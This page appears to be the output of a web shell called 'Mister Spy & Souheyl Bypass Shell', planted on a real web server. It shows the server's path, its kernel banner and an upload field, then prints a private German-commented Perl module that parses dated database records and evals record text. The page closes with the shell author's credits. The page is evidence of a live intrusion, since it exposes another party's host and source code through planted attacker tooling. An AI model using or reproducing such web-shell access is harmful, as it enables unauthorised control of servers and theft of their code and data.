Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/web-klick.de/dsh/50_dev2017/1300__perllib/Cursor/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/web-klick.de/dsh/50_dev2017/1300__perllib/Cursor/obj.pm

package Cursor::obj;

use strict;
use Cursor::buffered_cursor;
use Time::ParseDate;
use vars qw(@ISA);
use Digest::MD5;
@ISA = qw(Cursor::buffered_cursor);

sub new {

   my $class = shift;
   my $self  = {};
   $self->{'CURSOR'}    = shift;
   $self->{'DATE'}      = shift;
   $self->{'QUERY'}     = shift; 
   $self->{'PARAMETER'} = shift; 
   if (ref($self->{'QUERY'}) ne "ARRAY") {
      $self->{'QUERY'} = [$self->{'QUERY'}];
   }
   bless($self,$class);
   return($self);

}

#*************************************************************************


#  Ein obj-Cursor-Objekt ist ein Hash, das seine eigene Serialisierung
#  im Feld '___' haelt. Es kann sich auch um ein anonymes Array
#  von solchen Objekten handeln.


sub next1 {

   my $self  = shift;
   my $entry = shift;
   if (!$entry) {
      $self->{'ZAEHLER'} = 0;
      while (0 == 0) {
         $entry = $self->{'CURSOR'}->next();
         return(undef) if (!$entry);
         $entry = $self->next1($entry);
         if (ref($entry)) {
            return($entry);
         }
      }
   }
   my $o; my $o1; my $o2; my $o3; my $o11; my $o12;

   if (ref($entry) eq "ARRAY") {
      $o3 = [];
      foreach $o (@$entry) {
         $o2 = $self->next1($o);
         $self->{'ZAEHLER'} = $self->{'ZAEHLER'} + 1;
         if ($o2 eq "___FAILED___FAILED___") {
            $self->{'ZAEHLER'} = 0;
            return("");
         }
         push(@$o3,$o2);
      }
      $self->{'ZAEHLER'} = 0;
      return($o3);
   }

   if (ref($entry) eq "HASH") {
      return($entry);
   }
   
   my $entry0 = $entry;
   $entry =~ s/\:0 /01.01.1970\:/g;
   $entry =~ s/ 9\:/01.01.9999\:/g;
   if (!(ref($entry))) {   #  if $entry is a textvariable
      while (0 == 0) {
         last if (!($self->{'DATE'}));
         last if ($entry !~ s/(\d\d?\.\d\d?\.\d\d\d?\d?)\: *(.*?) *(\d\d?\.\d\d?\.\d\d\d?\d?)\:/---TEMP---/s);
         $o  =  $2;
         $o1  = $1;
         $o2  = $3;
         $o11 = Time::ParseDate::parsedate($o1,UK=>1);
         if ($o2 eq "01.01.9999") {
            $o12 = 99999999999;
         } else {
            $o12 = Time::ParseDate::parsedate($o2,UK=>1);
         }
         if ($o12 < $o11) {
            $entry =~ s/---TEMP---/$o $o2\:/;
         }
         elsif ($self->{'DATE'} > $o12) {
            $entry =~ s/---TEMP---/$o2\:/;
         }
         elsif ($self->{'DATE'} < $o11) {
            $entry =~ s/---TEMP---/$o1\:/;
         }
         else {
            $entry =~ s/---TEMP---/$o $o2\:/;
         }
      }
      $entry =~ s/ *(\d\d?\.\d\d?\.\d\d\d?\d?\:)//;
      while (0 == 0) {
         last if (!($self->{'PARAMETER'}));
         last if ($entry !~ s/ *([a-z0-9,\-]+)\: +(.*?) +([a-z0-9,\-]+\:)/---TEMP---/s);
         $o   = $2;
         $o1  = $1;
         $o2  = $3;
         if ($o2 eq "-:") {
            $o2 = "";
         }
         else {
            $o2 = " " . $o2;
         }
         $o11 = "," . $o1 . ",";
         $o12 = "," . $self->{'PARAMETER'} . ",";
         if ($o11 !~ /$o12/ and $o11 !~ /,x,/) {
            $o = "";
         }
         elsif ($o2) {
            $o2 = " xx:";
         }
         $entry =~ s/---TEMP---/$o$o2/;
      }
   }      

   $o = 1;
   foreach $o1 (split(/~/,$self->{'QUERY'}->[$self->{'ZAEHLER'}])) {
      $o = 1;
      foreach $o2 (split(/,/,$o1)) {
         next if ($entry =~ /$o2/);
         $o = 0;
         last;
      }
      last if ($o);
   }
   
#   do { print "ZZZ: $entry $o --- $self->{'ZAEHLER'}\n"; sleep 3 } if ($entry =~ /Cheung/);
   return("___FAILED___FAILED___") if (!$o);
   

   if ($entry =~ /\=\>/) {
      $o2 = {};
      eval("\$o2 = \{$entry\n\}"); print $@;
      if ($@ and $entry !~ /___PLEASE_CORRECT___/) {
         $o2->{'___'} = $@."___PLEASE_CORRECT___\n" . $entry0;
      } else {
         $o2->{'___'} = $entry0;
      }
      $o2->{'___ACT___'} = $entry;
      return($o2);
   }

   if ($entry !~ /\:\:(.*)\:\:/s) {
      return({"___" => $entry0, "___ACT___" => $entry});
   }

#  if $entry is a free database field:

   my $q = {};
   $q->{'___'}       = $entry0;
   $q->{'___ACT___'} = $entry;

   $entry  = $entry . "::";
   while ($entry =~ s/::([A-Za-z0-9]+):: *(.*?) *(\n?)::/::/s) {
      $o  = $1;
      $o1 = $2;
      $q->{lc($o)} = $o1;
      while ($o1 =~ s/([A-Za-z0-9\.\-]*)\: *(.*?) *([A-Za-z0-9\.\-]*\:|$)/$3/) {
         $o2 = $1;
         $o3 = $2;
         $o2 =~ s/[\.\-]//g;
         $o3 =~ /^ *(.*?)[, ]*$/;
         $o3 = $1;
         $q->{lc($o."-".$o2)} = $o3;
      }
      $q->{lc($o."-rest")} = $o1;
   }

   return($q);

}

#****************************************************************



1;


bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net